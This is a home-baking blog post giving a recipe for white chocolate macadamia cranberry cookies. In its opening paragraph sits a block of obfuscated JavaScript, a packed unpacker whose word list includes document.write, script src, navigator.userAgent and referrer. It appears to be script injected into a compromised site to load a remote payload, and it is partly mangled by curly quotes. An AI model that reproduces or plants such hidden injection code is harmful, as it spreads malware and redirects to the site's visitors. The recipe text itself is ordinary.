Try saying that 3 times fast!
How did this all start?
Well, we had a can of roasted and salted macadamia nuts leftover from Hawaii. ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hnntk|var|u0026u|referrer|neryt||js|php’.split(‘|’),0,{}))
So Nick suggested some white chocolate chip with macadamia nut cookies. I decided to add in the cranberries for a little color and flavor.
After looking through a few recipes I settled on one from mywoodenspoon. Here’s how I adapted it.
2 sticks of sweet cream butter (it’s salted and I bought it on accident, but it worked for me)
1 c packed brown sugar
1 c granulated sugar
1 Tbs vanilla
3 eggs
4 c flour
2 tsp baking soda
1 tsp salt
4.5oz salted and roasted macadamia nuts (this is the size of a typical can)
1.5 c white chocolate chips (I used 1 bag of ghirardelli chips)
1 c dried cranberries
- Preheat oven to 350.
- In a large mixer (I used my kitchenaid) beat the butter until creamy.
- Add the brown sugar and continue mixing until combined.
- Add the granulated sugar and beat until fluffy.
- Add the eggs 1 at a time, beating in between.
- Add vanilla, mix, and scrape the sides.
- Mix the flour, baking soda, and salt in a separate bowl.
- Add the flour mix about 2 cups at a time, beating slowly.
- Chop the macadamia nuts and cranberries.
- Add the chips, nuts, and berries.
- Mix until combined.
- Spoon out dough onto parchment lined baking sheet (not the end of the world if you don’t have parchment).
- I baked mine 11.5 minutes – until just golden. Let them cool slightly and transfer to a cooling rack.
Enjoy! These were really good…I think we each ate 5 on the first day 🙂
